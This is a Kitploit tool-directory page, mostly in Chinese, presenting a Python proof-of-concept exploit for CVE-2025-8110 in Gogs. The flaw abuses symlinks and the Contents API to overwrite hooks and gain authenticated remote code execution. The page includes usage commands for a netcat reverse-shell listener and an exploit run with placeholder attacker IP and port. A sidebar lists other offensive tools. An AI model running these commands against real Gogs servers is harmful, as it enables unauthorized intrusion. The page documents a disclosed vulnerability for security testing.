Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-8110 — Python PoC exploit for CVE-2025-8110, abusing Gogs symlink handling via the Contents API to overwrite hooks and achieve authenticated remote code execution. | Kitploit
工具/GitHubGitHub/kur0bai/cve-2025-8110
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubkur0bai/cve-2025-8110

CVE-2025-8110

Python PoC exploit for CVE-2025-8110, abusing Gogs symlink handling via the Contents API to overwrite hooks and achieve authenticated remote code execution.

查看仓库
12026年11月29日尚未审核
分享
内容在请求的语言中不可用。显示英文版本。

CVE-2025-8110: Gogs Symlink RCE Exploit PoC

Overview of CVE-2025-8110

CVE-2025-8110 is a critical vulnerability affecting Gogs (a painless self-hosted Git service). The flaw stems from insufficient validation when handling file operations and Git features combined with the Gogs Contents API.

An authenticated attacker can leverage Git symbolic links (symlinks) inside a repository. By pushing a repository containing a symbolic link pointing to sensitive system or repository paths (such as repository post-receive hooks, SSH authorized_keys, or cron files) and writing through the Gogs API, an attacker can overwrite critical server files. This results in Remote Code Execution (RCE) on the host running Gogs.


Deployment Profiles Support

The script supports multiple server layout configurations via the --deploy argument:

  • docker: Official Gogs Docker container (/data)
  • linux-pkg: Package installation (.deb / .rpm under git user)
  • linux-src: Built from source under gogs user
  • root, home, opt: Common alternative installation paths
  • custom: Fully custom paths using --repo-base and --gogs-home

Quick Start Guide

Prerequisites

Ensure Python 3 and the requests library are installed:

pip install requests

Usage Instructions

You can run the exploit script against a target Gogs instance using the options below:

python3 CVE-2025-8110.py --url <GOGS_URL> -u <USERNAME> -p <PASSWORD> -lh <ATTACKER_IP> -lp <ATTACKER_PORT>

Common Parameters:

  • -url: The base URL of the target Gogs instance (e.g., https://target-gogs.com).

  • -u, --username: Gogs username for authentication.

  • -p, --password: Gogs password.

  • --register: Automatically register the user account on the target before running the exploit.

  • -lh, --lhost: Local host / listener IP for the reverse shell.

  • -lp, --lport: Local port for the listener.

  • --deploy: The server deployment profile (docker, linux-pkg, linux-src, root, home, opt, or custom). Defaults to docker.

  • -v, --verbose: Enable verbose output to inspect candidate paths and debug logs.

Example

Start a netcat listener on your machine:

nc -lvnp 4444

Run the exploit against your target:

python3 CVE-2025-8110.py --url "https://target-gogs.com" -u gogs -p BestS3cure123! --register -lh 10.10.17.272 -lp 4444 --deploy docker -v

Disclaimer

The information and script provided in this repository are strictly for educational purposes, authorized security testing, and defensive research. The author and contributors assume no liability and are not responsible for any misuse or damage caused by this material. Users must ensure they have explicit, written permission from the system owners prior to testing or interacting with any environment.

下载工具

相关工具

  • metasploit-framework

    开源漏洞利用框架,具备模块化载荷、编码器和辅助系统,用于跨网络和应用的渗透测试、漏洞验证及安全研究。

  • donut

    生成 x86、x64 或 AMD64+x86 位置无关的 shellcode,可从内存加载 .NET 程序集、PE 文件及其他 Windows 有效负载,并带参数运行它们。

  • sRDI

    反射式DLL注入的Shellcode实现。将DLL转换为位置无关的Shellcode。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    ghostlock-app

    yukonga/ghostlock-app

    针对 CVE-2026-43499 的一键式 Android 内核漏洞利用应用,通过内核模块加载实现权限提升,并提供偏移提取与设备端分析工具。

    750
  • 2

    IMSIcatcher

    28zaaky/imsicatcher

    IMSI Catcher 平台,可部署伪基站 GSM 小区以拦截短信、注入消息并追踪移动设备

    739
  • 3

    Callisto

    jetp1ane/callisto

    自动化二进制漏洞分析工具,通过Ghidra反编译可执行文件,使用Semgrep扫描伪C代码,并利用GPT-3.5-Turbo验证发现以减少误报。

    585
  • 4

    opencti

    opencti-platform/opencti

    开放式网络威胁情报平台

    550
  • 5

    DFRoot

    a2333c/dfroot

    Android root tool for Samsung Galaxy S25 Ultra (SM-S938B) that chains DirtyFrag CVE-2026-43284 and CVE-2026-43499 to gain root automatically at boot via KernelSU.

    414
  • 6

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    409

探索所有工具

浏览我们的工具集合

查看所有工具 →